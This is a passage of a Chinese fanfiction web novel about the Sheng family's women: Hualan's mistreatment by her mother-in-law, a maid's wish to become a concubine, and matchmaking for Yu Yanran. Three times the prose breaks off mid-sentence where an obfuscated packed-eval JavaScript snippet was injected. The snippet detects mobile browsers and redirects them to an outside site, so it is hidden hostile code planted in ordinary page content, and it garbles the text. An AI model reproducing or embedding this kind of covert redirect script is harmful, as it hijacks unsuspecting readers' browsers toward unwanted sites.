刘妈妈为王若弗擦了擦眼泪,语气中满是安抚的意味,道:“大娘子莫急,左右不过是银钱的事情,若是能用银子买个安定也是可以的,这件事情还是要找主君商议一下吧,若是主君没有办法,你再去寻老夫人和国公爷,大姑娘是在老夫人膝下长大的,她不可能不帮大姑娘的,眼下最要紧的是等主君回来商议大姑娘的事情。” 王若弗绞着手帕,恶狠狠道:“对,你说得对,你去看看主君有没有回来,让他来找我,这次若是他没有法子,就别怪我去找母亲和二哥哥了,到时候我看他如何和母亲交代。” 刘妈妈回了声“是。”便退下了,独留王若弗一个人在房间里哭,待到盛纮下午回府时就被刘妈妈直接请到了王若弗的院子内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12666938|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛纮一进房间就看到了王若弗那泛红的眼袋,瞧着是哭了许久,他心里顿感不妙,可还是下意识,道:“你这是怎么了。” 王若弗不理会盛纮,目光转而放在刘妈妈身上,语气十分冷淡,道:“刘昆家的,你来和主君讲讲吧。” 盛纮闻言看向刘妈妈,随即便听到刘妈妈开口述说起盛华兰在袁家的日子,听得盛纮额头直冒青筋,语气中暗含怒火,道:“岂有此理,岂有此理。” 王若弗听到盛纮这么说,脸上浮现出一抹冷笑,语气中满是嘲讽的意味,道:“这就是你为华儿选的好亲事,当真是好亲事啊!婆婆不仅算计二媳妇的嫁妆贴补大房的用度,还刻待媳妇,这真是好亲事啊!” 王若弗说到这里,忍不住上前拧了盛纮一把,恶狠狠道:“你给我想办法,华儿被袁家如此欺负,你作为她的父亲要想办法帮她,若如不然,我便去找母亲和二哥哥,你不疼华儿,我和母亲还疼华儿呢。” 盛纮一听王若弗要去找盛瑾和盛老太太,一时之间,头大如斗,他急忙拉住王若弗,语气中带着些许服软的意味,道:“大娘子,我的好大娘子,不要一有什么事情,你就要找母亲、二哥哥,母亲如今是上了年岁的人,不好让她如此操劳、担忧小辈,这实属是不孝啊!二哥哥身居高位,每日公务繁忙,怎可因着内宅事情去耽搁朝堂公务呢,况且二哥哥是个男子,如何能管到袁家内宅去呢,先让我想想吧,别急,先让我想想。” 盛纮属实是不想丢脸丢到盛瑾面前,他对这个二哥哥打心里有些害怕啊!再则,如果盛家去袁家闹,不仅袁家会丢人,盛家也会丢脸,重则还会影响到盛家姑娘们的名声,他也不是不疼盛华兰,只是在他心里盛家是最重要的。 王若弗冷眼看着盛纮,安静的等待盛纮想法子,可最后等来的只有盛纮一句“我去找袁伯爷谈谈吧,让他管管袁伯夫人。” 王若弗此时智商在线,当即开口嘲讽道:“官人刚才还和我说男子管不了内宅,袁伯爷如何能管的住袁家后院呢,没得你去和袁伯爷说完,转头那袁伯夫人更加变本加厉的欺辱华儿,算了,我还是去找母亲吧。”她说着便把盛纮赶了出去,她算是看出来了这件事情盛纮没有办法,只能找盛老太太处理,待到第二天,她就顶着两个黑眼圈去找盛老太太,可把盛老太太吓了一跳,还以为她发生了什么事情,结果她一看到盛老太太就开始哭诉起盛华兰在袁家的遭遇。 盛老太太从王若弗的话中得知了盛华兰在袁家的生活,她的脸变得有些阴沉,说实在的,她属实是没见过如大章氏这般不要脸面的勋爵贵妇,一般来说,若是婆家用了媳妇的嫁妆大抵上是没有脸面再刻薄媳妇的,毕竟你用的是媳妇的东西,腰杆子如何能硬得起来啊!由此可以看出大章氏脸皮之厚啊! 盛老太太在没嫁入盛家之前本是果断刚毅、心气高、眼里容不得沙子的人,只是在嫁入盛家后,被官人宠妾灭妻、嫡子夭折打磨了菱角,变成了一个隐忍至极的人,若是没有盛瑾这个人,她可能就让王若弗忍下了,可如今她被盛瑾宠了几年,日子过得顺遂,性情多少养回了几分。 盛老太太心里叹了口气,其实这婆媳之间的事,归根结底是夫妻之间的事,如果官人的心里跟明镜似的,就没有那么多事了,可惜啊!袁文绍是个愚孝的。 盛老太太沉思了一会儿,目光放在王若弗身上,道:“这件事情不好闹大,那毕竟是华儿夫婿的母亲,从彩簪和翠蝉的话里,不难看出华儿的官人是个重孝的,除非华儿和离,否则往后还是要住在一起的,所以此事只能旁敲侧击。” 王若弗本来以为盛老太太也不打算给盛华兰出头时,只见盛老太太继续道:“华儿生了个女儿,她二伯父和姐妹们都还没见过这孩子呢,你给华儿去信,告诉亲家公,就说,孩子百日宴时,我们盛家所有人都去看看。” 王若弗虽然心中满是疑惑,但盛老太太一向是厉害的,既然盛老太太让她这么做,那必有深意,因而她也没多问什么,点头表示自己会照着盛老太太的话给盛华兰去信的,可待她回到自己的屋内,又忍不住思考起盛老太太的用意。 刘妈妈瞧着坐在桌前一言不发的王若弗,忍不住开口道:“我的大娘子呀,你在忧虑什么嘛,老夫人都要给大姑娘撑腰了,你还担心什么啊!” 王若弗眼神中带着些许忧愁,道:“我属实是不明白母亲的意思,娘家人若是得空,一般都会去参加孩子的百日宴,这那来的撑腰之说啊!” 刘妈妈脸上带着些许了然的表情,细细给王若弗解释道:“大娘子,娘家人一般得空是会参加孩子的百日宴,可老夫人这个年纪和身份,本就是不用去的,况且国公爷身居高位,公务繁忙,自然也不是非要去参加侄女孩子的百日宴,如今老夫人发话说盛家所有人都去,主君和国公爷少不得要告假半天,那袁伯爷心里不会有点什么想法嘛,再者,老夫人一品诰命夫人和国公爷这个位居高位的官员去参加庄姐儿的百日宴,说出去我们家大姑娘在他们忠勤伯爵府也有面子不是嘛。” 王若弗拍了拍手,语气中带着些许喜悦,道:“对啊!我怎么没想到呢,还好有你在我身边啊!我就等着庄姐儿的百日宴了。” 夜晚,盛老太太找来了盛瑾,告诉他有关盛华兰在袁家的事情,待盛瑾听完后,叹了口气,道:“我没曾想袁伯夫人竟这般过分。” 盛瑾属实是没想到大章氏竟然如此无脑,在明知盛家有一位王爷和一位国公爷的情况下,仍有胆子算计和作贱盛华兰,全然不顾及盛华兰还大着肚子,一意孤行让盛华兰继续管家理事、操持府中事务,不过,他转念一想,若是大章氏有那智商,也不至于让忠勤伯爵府的嫡长子娶她娘家侄女,毕竟章家已经大不如前了,即使忠勤伯爵府门庭冷落,他们也配不上伯爵府。 盛瑾没想多久,语气中带着些许笑意,道:“母亲,让华姐儿将孩子百日宴的日子提前告知我一下,我到时候带着三弟弟告假半天,不过,我和礼部尚书潘大人的关系不错,待华姐儿百日宴那天,章家的人估计也会到场,若是她们家女眷找您搭话,您只需顺着她们提一句,礼部尚书潘大人与我说过章家门风不错。” 盛老太太闻言,不禁莞尔一笑,道:“你啊!你,母亲知道如何来说了。”她知道盛瑾这一招是打蛇打七寸,一招制敌,只要大章氏在乎娘家,心里便会有忌讳,因而大章氏对盛华兰也会更加收敛些,盛瑾接着又和盛老太太闲聊了一会儿方才离去。 80.第 116 章 盛瑾一行人在宥阳的这些日子里,汴州城发生了许多事情,白滢婷在顾廷烟出嫁不久,便给顾廷炜定下了承平伯府嫡女为妻,而盛长枫的婚事,在盛竑的挑三拣四下,王若弗罢工了,最后由盛竑定下了同袍的嫡女,不过最大的事情还是二王联手逼宫,但这在皇帝的掌握中,最终的结果是二王被贬为庶人的同时,天下人也知道皇帝还有一个儿子的事情,等盛瑾一行人回到汴州城时,一切都尘埃落定了。 (因为这篇同人文我没有写大纲,再加上平时有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12666939|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,写的时候前面的剧情有些遗忘了,因此文章有些混乱,所以我打算进行大面积的修改,在此草草写了一个完结了,以上是后面故事的大概走向,接下来主要是以此文章为大纲进行修改,如果大家看到更新,大概率是在修文。) 81.第 81 章 时光飞逝,眨眼间又过了好几个月,这期间丰国公府家学倒是因着盛长梁考中秀才,盛长柏、盛长枫、齐衡考中举人而小有名气,盛纮还为此高兴了一段时间。 王若弗如今有一半的注意力都放在盛老太太身上,倒是对盛纮的情绪变化没太在意,毕竟她自从庄姐儿的百日宴后,便瞧出了与盛老太太相处的好处,深深感受到了一个家族中有一位德高望重的一品诰命夫人能给盛家姑娘们带来多大底气,尤其是她还有着身为国公爷的儿子和身为王爷的孙子撑腰。 王若弗时常想着若是没有盛老太太这个一品诰命夫人与盛瑾这个国公爷出面,盛华兰的事情不可能这么容易解决,她是盛纮的枕边人,自然了解盛纮的性子,他决计会让她忍下去,她自己心里也很清楚,虽然她嘴上说的厉害,但若是盛纮执意不许,她作为盛家的主母绝对拧不过盛纮这个主君,故而闹到最后还是会忍下袁家的事情,别看她常常说要回娘家找人撑腰,其实自个心里门清,王老太太是一品诰命夫人没错,可盛华兰姓盛不姓王,就算王老太太想帮忙也有心无力啊!况且王家早已没有她父亲在世时的风光,虽不至于人走茶凉,但人脉用一点少一点,如何肯为盛华兰这些在他们看来是小事的事情出力呢,更何况师出无名啊! 大章氏虽然愚蠢,但她也清楚袁家和章家不如盛家,可她又实在看不惯盛华兰,因而才会让盛华兰每日站规矩、伺候她用餐,这样她心里既舒坦些,外人也不会觉着她刻薄媳妇,毕竟自古以来媳妇伺候婆婆是天经地义的事情,况且就算外头知道她刻薄盛华兰,顶天了她留个刻薄媳妇的名声,可盛华兰不同,若是盛华兰胆敢忤逆她哪怕一点点,那盛华兰就是大逆不孝,连带着整个盛家姑娘的教养都会被质疑,她正是拿捏着这一点才敢这么做的,只不过谁能想到盛家又出了个王爷和郡主,她便不好再这般行事了。 王若弗自个也心知肚明,盛家姑娘的名声对于盛家而言并非小事,故而她才会找盛老太太想法子,好在盛老太太和盛瑾都愿意帮忙,她自然记着他们的恩情,时常来找盛老太太闲聊,只不过,今个多了白滢婷在场,只见盛老太太意味深长的看着白滢婷,道:“婷儿,你今天找我应该不止是单纯的聊天那么简单吧。” 王若弗眼中闪过些许疑惑,可她也知道此时不应该插嘴,而白滢婷则是抱着盛老太太的胳膊,脸上带着些许俏皮的笑容,语气中带着些许拍马屁的意味,道:“还是干娘聪慧过人啊!一下子就猜到了我的心思。” 白滢婷一只手搂着盛老太太的胳膊,另一只手抓起桌上的扇子给盛老太太轻轻扇着风,语气中带着些许殷勤的意味,道:“我最近给烨哥儿瞧上了一个姑娘,想让干娘帮着掌掌眼。” 盛老太太眼含笑意的拍了拍白滢婷的手,道:“你应该早点将这样的大事告诉我,烨哥儿称我一声盛外祖母,我怎么样也是要给他好好瞧瞧的,还不快说说,你瞧上哪家姑娘了。” 王若弗眼中带着些许八卦之火看着白滢婷,仿佛也再催促白滢婷快些说,而白滢婷没让她等多久,直言道:“干娘,我看中了余老太师的大孙女余嫣然。” 盛老太太虽然心里大概已经猜出白滢婷为什么选择余嫣然,但她还是忍不住带着一丝劝意,道:“婷儿,你可知余嫣然的性子如何嘛。” 白滢婷自是知道盛老太太的意思,面带微笑,道:“干娘,我知道她的性子温柔敦厚,不是宗妇之选,可我也不在乎宁远侯府的爵位,况且煜儿虽子嗣艰难,但也不是绝嗣,我又不是什么恶毒妇人,为着个爵伤害自己看着长大的孩子,我也知道余嫣然的性子莫说是宗妇之选,就是管家理事怕也没多大的能耐,不过,这些个管家理事是可以慢慢调教,我不信十几年都调教不出一个能干的媳妇,当然,若实在不行,那不是还有孙媳妇呢。” 盛老太太看着白滢婷的眼神有些许的复杂,语气中带着些许叹息,道:“婷儿,你是看中了她的家世,其实你无需如此的。” 白滢婷神情十分柔和,语气中带着些许感激的意味,道:“烨儿和炜儿这么多年已经十分麻烦哥哥,虽说哥哥为着我在烨儿和炜儿往后的仕途上会多加提携,但我不能不知足,任由哥哥这般付出,若是烨儿能有一个得力的岳家,于哥哥而言也能轻松些。” 白滢婷对着盛老太太全盘托出道:“我知道余嫣然的父亲并不出色,可我看中的是余老太师的人脉和余老夫人出身大儒世家。” 白滢婷嘴角带着一抹淡淡的笑意,继续道:“余老太师虽有四子,却只有余嫣然的父亲对仕途感兴趣,可偏偏他又不是个有能力的,我猜余老太师正是看出了他的野心与能力不匹配,故而才没有将自己的人脉交给余嫣然的父亲,不过,烨儿不一样,他是哥哥养出来的孩子,哥哥肯定他的能力,想来余老太师也会喜欢烨儿的。” 盛老太太眼中闪过一丝满意,顺着白滢婷的话道:“你是想要余老太师手中的人脉,余嫣然是余老太师和余老夫人最疼爱的大孙女,从小养在身边的,余老太师对余嫣然的感情自然比其他孙子孙女多,可你知道她那继母和父亲都是个贪婪之人,若是将来成了亲家,你有想过如何去应付他们嘛。” 白滢婷神情怡然自得的拿着扇子对着自己扇了扇,道:“干娘你不要小瞧我嘛,我在顾家这些年光是应付大小事务就不知道多少,当初再怎么年少天真,如今也该成长了,余嫣然嫁过来后,只要她那继母找上门来,我自会好好解决的,既然想要这婚事,就要有应付这些麻烦的能力。” 白滢婷眼中闪过一丝悲伤,继续道:“我是在我家那位身上吃够了苦头的,决计不会让媳妇步我的后尘,烨儿是我身上掉下来的一块肉,他的性子我自是了解的,他性格要强,找个温柔一点的大娘子正好中和一下,再者,他是在哥哥膝下长大的,想必多多少少也染了些哥哥的心性,不好女色,况且我敢保证,只要是烨儿的媳妇能生,我绝对不会让他纳妾的。” 盛老太太先是被白滢婷的话给惊了一下,而后嘴角微微弯起,道:“既然你都这么说了,那我就替你去探探口风吧,正好我和余老夫人是好友,只是给她写封信的事情。”而她身旁的王若弗正惊讶于白滢婷的话没回过神来呢,毕竟顾廷烨身份摆在那里,如今又多了条不纳妾的承诺,若是传出去,怕是多少世家姑娘们都要挣着抢着嫁给顾廷烨啊! 白滢婷听到盛老太太和余老夫人是好友时,眼中闪过一丝惊喜,随即笑容满面,道:“那就拜托干娘了,若是这桩婚事成了,我定带着烨儿上门好好感谢干娘。” 盛老太太用手指轻轻捏了捏白滢婷的脸蛋,语气中带着些许笑意,道:“你呀!你,小事一件,一家人无需这般客气。” 王若弗突然想起大章氏,心里不由得想道:“若是华儿的婆婆与这端淑县主一般,那华儿也用不着吃这么多苦了,这人和人怎么就如此不同呢。”她没想多久就快速调整心态重新加入了白滢婷和盛老太太的聊天,而被她念叨着的盛华兰此时正在经历彩簪的背叛。 盛华兰眼神带着些许复杂的神色看着彩簪,语气平淡的好似在述说一件平常的事情,道:“彩簪,我再问你一遍,你确定要给官人当妾氏,绝不后悔。” 盛华兰自从庄姐儿的百日宴后,过的轻松许多,毕竟大章氏因着盛老太太的威胁不敢太过于作贱她,也不敢太过于算计她的嫁妆,虽说大章氏仍让她打理着忠勤伯爵府的账目,但也将府中收入的一半银钱交由她来管家理事,忠勤伯爵府门庭冷落,一年到头也没什么宴席开支,可到底是勋爵人家,日常来往交际也不能太过朴素,故而每年府中花销大概在七千两左右,当然,若是再精打细算些也能省个一二百两,她虽然不知道府中有多少田产铺子,但从大章氏给的三千五百两和袁家丫鬟小厮口中探听的消息,也能猜出袁家田产铺子一年收入不会超过一万两,不过,她如今也不在乎袁家有多少田产铺子,就冲着大章氏这个样子,到时候分家也不可能给袁文绍分什么好东西的,况且相较于先前什么都没给她,让她一个劲的拿嫁妆银子供府中开支,现下她只需要贴补府中三千多两已经算得上是好的了。 盛华兰自知以大章氏对她嫁妆的贪婪程度,她一点银子都不出是不可能的,再者,她如今除了每日请安外也没受到大章氏什么刁难,索性睁一只眼闭一只眼,全当花点银钱买清净,毕竟想让大章氏这么贪婪的人一下子收敛并非易事,不过,她最近遇上了难事,前不久请来给她治风寒的郎中,诊断出她因着难产伤着了身子,不易有孕,不知是哪个嘴不严实的传到了大章氏的耳中,也让大章氏找到借口要她停了袁文绍房中妾侍的避孕药。 盛华兰不由得想起那日大章氏说的难听话“二媳妇你这身子也不知道何时能养好,给绍儿生下嫡子,别家如绍儿这般年纪的,嫡子庶子都不知道有多少,不若你从绍儿那几个小娘中选一个乖巧听话的,停了她的避孕汤药,也好给绍儿开枝散叶啊!” 盛华兰只能打断牙齿往里吞,硬生生扯着笑容恭谨的答应了大章氏的话,不过这还不是最令她难受的事情,最令她难受的是此时眼前这个自幼与她一起长大的丫鬟说要给她的官人做妾侍。 彩簪低着头,不敢与盛华兰对视,语气中带着些许心虚,道:“姑娘,奴婢也是为你分忧啊!这袁伯夫人发话要您选一位小娘,停了这位小娘的避孕汤药,为姑爷开枝散叶,这与其让外人来给姑爷生个哥儿姑娘,还不如让奴婢来。” 彩簪自从听到郎中说盛华兰生庄姐儿时伤了身子,不易有孕后,便起了旁的心思,这没有嫡长子,那就属庶长子最为尊贵,若是她能给袁文绍生个庶长子,这府中自然而然就有她的一席之地,不过,可惜啊!她眼皮子浅,只看得到眼前的利益,殊不知,伤了身子并不等于不能生,她也不想想,若是盛华兰养好身子生下嫡子,那她和她那个庶子的地位就会变得十分尴尬,只是现在的她起了野心,自是看不清这些事情,也不愿看清这些事情。 盛华兰有了一种被背叛的感觉,心中涌起一股子难受,彩簪是她母亲给的人,翠蝉是她祖母给的人,二人皆是她的左膀右臂,她本来是想给她们找个好人家,让她们做正头大娘子的,可彩簪的行为无疑给了她一巴掌,让她难看啊! 盛华兰看着彩簪的眼神中带着些许冷意和悲伤,语气十分平淡,道:“彩簪,你先出去吧,让我好好想一下。” 彩簪微微抬头,瞧见盛华兰脸上浮现出一抹受伤的神情,咬了一下唇,低声道:“姑娘对不起。”她说完,便头也不回的出去了。 翠蝉一直站在盛华兰身边沉默不语,她心里叹了口气,道:“彩簪她以后一定会后悔的,姑娘又不是不能生,国公府里有的是好药材,好郎中,只是姑娘脸皮子薄,不好意思向国公爷和老夫人开口,不过,这也是迟早的事情,时间久了,老夫人自是会知道的,到时候老夫人能不帮着姑娘嘛,只怕到时候彩簪和她的儿子地位就尴尬了,在有嫡子的情况下,这庶长子可是一个尴尬的存在啊!况且彩簪如何能保证她第一胎就一定是个哥儿呢,可惜啊!彩簪被一时的利益糊住了眼睛,看不清事实的情况啊!” 翠蝉瞧着盛华兰好久都没说话,大着胆子上前拍了拍盛华兰的手,语气中满是真诚的意味,道:“姑娘,你还有奴婢呢,奴婢会陪着你的。” 盛华兰闻言,心中涌起一阵暖意,眼角有些湿润,语气中带着些许感叹的意味,道:“翠蝉,还好祖母将你给了我,还好有你啊!” 翠蝉自知彩簪在盛华兰心中的地位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150185|71292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也料想到盛华兰因着彩簪的背叛伤了心,语气中带着些许安抚的意味,转移话题道:“姑娘且放宽心,生孩子是迟早的事情,再说了,姑娘又不是不能生了,急什么,这五六年方才生孩子的妇人也是有的是。” 盛华兰含泪笑着拉住翠蝉的手,拍了拍,道:“就你会逗我,如今瞧着我身边竟只有你一个真诚的人,你将来若是有了喜欢的人,定要告知我一声,我好备一份厚厚的嫁妆,全了我们之间的主仆之情。” 翠蝉脸上浮现出一抹羞红,语气中带着些许娇嗔的意味,道:“姑娘你在说什么呢,奴婢还要待在你身边呢。” 盛华兰瞧着翠蝉这般,面带微笑,语气中带着些许调笑的意味,道:“你也不小了,是时候找个依靠,女人哪有一辈子不结婚的啊!你还真想当老姑娘啊!” 翠蝉瞪着盛华兰,仿佛下一秒就要生气般,语气微微上扬,道:“姑娘,你再说奴婢,奴婢可就要生气了。” 盛华兰随即笑了一声,她看着翠蝉不说话,而翠蝉被盛华兰盯得受不了,想着正事还没解决呢,她直言道:“姑娘,彩簪她提的事情,你打算如何呢。” 盛华兰脸上的笑意淡了许多,过了好一会儿才道:“既然她这般想,那便如她所愿吧。”毕竟彩簪一家子的身契都在盛家手中,算得上是一个不错的人选,既然她自己乐意,她也懒得阻止,免得彩簪以为她是不想她出人头地呢,而翠蝉也没在出言,没过多久彩簪就被抬为了宋小娘,这是后话了。 今个好似发生的事情都与男女之事有所干系,盛华兰这边打算将彩簪抬为妾侍,齐国公府那边则是担心齐衡和盛家姑娘们扯上关系,只见平宁郡主嘴角微微弯起,道:“衡儿已十六岁的年纪中举也算得上是不负他素日里苦读,我瞧着宁远侯府没动静,估摸着炜堂弟这次八成是不会参加春闺了。”她出身襄阳侯府,宁远侯府与襄阳侯府祖上有关系,也算得上是同属一脉,因而她还是知道些关于顾廷烨和顾廷炜两兄弟的事情。 齐大人摸了把胡须,语气中带着些许笑意,道:“许是盛国公觉着炜堂弟的火候还不足,因而没让炜堂弟下场,毕竟炜堂弟当年中举的名次不如我们衡儿,不过,炜堂弟身边有盛国公指点,想来以后也差不到哪里去,再说了,我们和庄学究都不打算让衡儿参加此次春闱,估摸着盛国公也有让炜堂弟与家学中的学子一同参加下次春闱的打算。” 齐大人眼中带着些许羡慕,继续道:“说来盛国公对着烨堂弟和炜堂弟这两个外甥属实是上心啊!盛国公将烨堂弟和炜堂弟从小带在身边细细寻好夫子教导,又亲自指点功课,方才有了烨堂弟和炜堂弟如今这般出众,一个状元郎的亲自教导,这可是多少人都求不来的事情啊!” 平宁郡主瞧着齐大人这般,语气中带着些许不服气的意味,道:“这有什么呢,我当初不也说过要给衡儿找一个夫子单独教导嘛,可你和衡儿偏要去什么丰国公府的家学,让一个庄学究来教导。” 齐大人面带微笑的拉过平宁郡主的手,语气柔和且宠溺,道:“瞧你说的,我不是与你说过,那庄学究是个极有本事的人,这些年不知道教出了多少举子进士呢,况且衡儿也喜欢庄学究的教学,再说了,你最后不是同意了嘛。” 平宁郡主脸上的表情变得柔和些,道:“我不过是说说罢了,你不必放在心上,不过,顾家能出个有出息的,我和我父亲都很开心,烨堂弟和炜堂弟有盛国公这个好舅舅,那是他们的运道,我不在乎,况且我的衡儿也不差,自是不用去羡慕旁人的。” 齐大人满脸笑容的看着平宁郡主,语气宛如哄小孩般,道:“是,是,是,我的大娘子最是通情达理,能娶到你是我的福气。” 平宁郡主眼含笑意的瞪了齐大人一眼,语气中带着些许娇嗔的意味,道:“官人你啊!无论是婚嫁前,还是婚嫁后都只会逗我开心。” 平宁郡主说到这里时,不知想到了什么,微微皱了皱眉头,语气中带着些许不满的意味,道:“衡儿在丰国公府读书,我没有任何意见,不过,丰国公府除去韶德郡主还算年幼,另外两个姑娘都快及笄了,衡儿在那与她们一同读书是否有些不便呢,毕竟不是自家亲兄妹,还是要多加注意些才是。” 齐大人自是知道平宁郡主的意思,他眼中闪过一丝苦笑,语气中带着些许劝解的意味,道:“我的大娘子啊!衡儿在丰国公府未满一年,你这个时候提出让另外两个盛家姑娘不跟着庄学究读书,那韶德郡主怎么可能一个姑娘跟着哥儿们读书呢,瞧着倒是像要将盛家姑娘们赶出自家家学般,这样不好吧。” 齐大人瞧着平宁郡主脸色有些微沉,语气轻柔,道:“大娘子,盛国公那个脾气,满汴州城都知道,这盛家三个姑娘要么一起读书,要么一起不读,那韶德郡主可是盛老夫人和盛国公的心头肉,若是真如大娘子这般行事,我怕到时候被赶走的是我们衡儿。” 平宁郡主的脸顿时就黑了,她虽面上没说什么,但心里对齐大人的话还是认可的,她向来是个要强的,可不想在汴州城丢脸,不过,她又怕齐衡和盛家姑娘们一起读书会传出什么闲话,影响齐衡的婚恋市场。 齐大人瞧着平宁郡主这般,想了个折中的法子,道:“要不然,我们等个一两年再登门拜访一下丰国公府,就说是拜访一下盛老夫人,大娘子到时在盛老夫人那说上一句,我再在盛大人那边提上一嘴,想来盛大人也会知道如何行事的,大娘子莫急,盛家那两个姑娘就算及笄后再过一年也没什么大不了的,左右也影响不到衡儿那里去。”(盛大人指的是盛纮) 平宁郡主听着齐大人的话,思考片刻后,脸色变好了些,齐大人自是知道平宁郡主心里有些意动,随即又哄了好几句后,平宁郡主方才同意了此事。 82.第 82 章 丰国公府内盛老太太院子的前厅,余老太太今个带着余嫣然赴约盛老太太,一进前厅,只见盛老太太满脸笑意的上前迎接余老太太,随即拉着余老太太坐在自己身旁,语气中满是亲近的意味,道:“好久不见,你看上去气色真是好啊!想来这些年过的十分不错,我心里为你感到开心。” 余老太太神情和善,语气温和,道:“你看起来也不错,如今不仅是儿孙满堂,还个个都是有出息,满汴州城的人都羡慕你呢。” 盛老太太脸上的笑容没有丝毫变化的拍了拍余老太太的手,语气中满是感慨的意味,道:“大家都好便好。” 盛老太太的目光转向余老太太身后高挑细腰、温雅可人的余嫣然身上,细细打量了几番,语气中带着些许称赞的意味,道:“这便是你那宝贝大孙女余嫣然嘛,长的是真真好啊!” 余老太太听到盛老太太夸余嫣然,嘴角微微弯起,语气十分轻柔,道:“然儿,快来给盛老夫人请安!” 余嫣然脸上虽带着几分羞涩,但也随着余老太太的话给盛老太太,行了一礼,语气十分柔和,道:“盛老夫人,金安。” 盛老太太看着余嫣然的眼中带着些许柔和,声音令人如沐春风般,道:“然姐儿,不必如此多礼,我与你祖母是闺中好友,你在这随意些。” 盛老太太瞧出余嫣然有些不自在,目光转向自己身旁的房嬷嬷身上,道:“素琴,你去将姑娘们找来见见家中客人。” 房嬷嬷闻言,行了一礼后便退下去找盛明兰她们,而盛老太太满眼笑意的看着余老太太,继续道:“你今个来得正巧,我那三个孙女今个休息,正好见见你,说来我这三个孙女,除去年岁最小的那个,其余两个和你家然姐儿相差三四岁,想来能玩到一起,我喜静,府中少有宴席,孙女们又甚少出门,故而在汴州城没几个闺中交好的姑娘,你家然姐儿的品性我是信得过的,她们一起玩,你我也放心多了。” 余老太太笑意盈盈附和道:“这甚好,不瞒你说,我这个孙女的性子比较腼腆,也没几个闺中交好的姑娘,正好让你的孙女们带带她,让她活泼些。” 盛老太太眉眼弯弯,语气温和,道:“只要你不嫌弃她们太过活泼了就好。”她说完没多久,盛明兰、盛墨兰、盛如兰就来到了前厅。 余老太太和余嫣然忍不住的打量着盛明兰、盛如兰、盛墨兰三人的长相,不禁在心中感叹道:“这盛家的基因是真的好啊!这三个姑娘中长相最差的,也算得上个清秀佳人啊!” 盛明兰、盛墨兰、盛如兰虽然心里好奇余老太太和余嫣然的身份,但面上不显、端庄得体的给盛老太太行了一礼,齐声道:“祖母,金安。” 盛老太太眼中带着些许慈爱,语气柔和的给盛明兰、盛如兰、盛墨兰介绍道:“这位是余家老夫人,也是余老太师的大娘子,她身边这位是她的大孙女余嫣然,我与余老夫人关系甚好,你们也可称然姐儿为嫣然姐姐。” 盛明兰、盛如兰、盛墨兰闻言,面带微笑的给余老太太行了一礼,声音悦耳动听,道:“余老夫人,金安,嫣然姐姐,妆安。” 余嫣然脸上的羞红又多了几分,轻声细语,道:“各位妹妹,妆安。”她头一次瞧见容貌、言行举止都如此出色的妹妹们,不禁想起家中那被继母宠的脾气很大的妹妹,相较之下,她觉得这三个妹妹真真是极好了。 余老太太瞧着盛明兰、盛如兰、盛墨兰行为举止端庄大气,眼中带着些许赞许,点了点头,随即目光转到盛老太太身上,道:“你真是有福气啊!不仅儿子孙子们那么有出息,孙女们也长的如此出色、明理。” 盛老太太眼中带着些许笑意,语气中带着些许打趣的意味,道:“今个听你这么一夸,她们算是没有白费孔嬷嬷的教导,况且我瞧着你家然姐儿也很是不错嘛。” 盛老太太瞧着余嫣然的脸比先前还要红些,眼含笑意的看着盛明兰三人,道:“你们嫣然姐姐难得来一次府中,不如你们带着她在府中逛逛,没得白来一趟。” 盛明兰和盛如兰比较活泼大胆,她们一得到盛老太太的指令,瞬间就面带微笑的拥上余嫣然,话语中尽显亲近之意,而盛墨兰虽然比较矜持,但也时不时的插上两嘴,瞧着倒是十分融洽。 余嫣然听着盛明兰她们的话有些意动,随即目光转到余老太太身上,像是在寻求余老太太的意见,只见余老太太微微点了点头,她便红着脸和盛明兰她们一同出去闲逛,待她们身影消失在房内,盛老太太微微一笑,宛若无意识的提及般,道:“瞧瞧你这大孙女可真是孝顺啊!这般品行品貌,定是有不少人家求娶,你可有瞧上哪家嘛。” 余老太太性子单纯,从不对身边亲朋好友设防,自然也没将盛老太太的话往深处想,她听着盛老太太提起余嫣然的婚事,不自觉的想起自己那个不成器的长子,先前对余嫣然满不在乎,如今看到余嫣然长的高挑细腰、温柔可人,竟然起了用女儿攀高枝的想法。 余老太太一想到这里,没由来的升起一丝恼怒和无奈,她叹了口气,仿佛在向盛老太太吐槽般,道:“我这个大孙女命苦啊!她那个父亲和后娘都不待见她,连带着她后娘生的哥儿姑娘们也欺负她,我和官人怜惜她,便将她接到身边来扶养,她常年跟在我身前,那性子养得如我一般,经不起什么大风大浪,我与官人如今只想着给她找一个能护得住她的夫婿,不让她被她那父亲和继母卖了才好。” 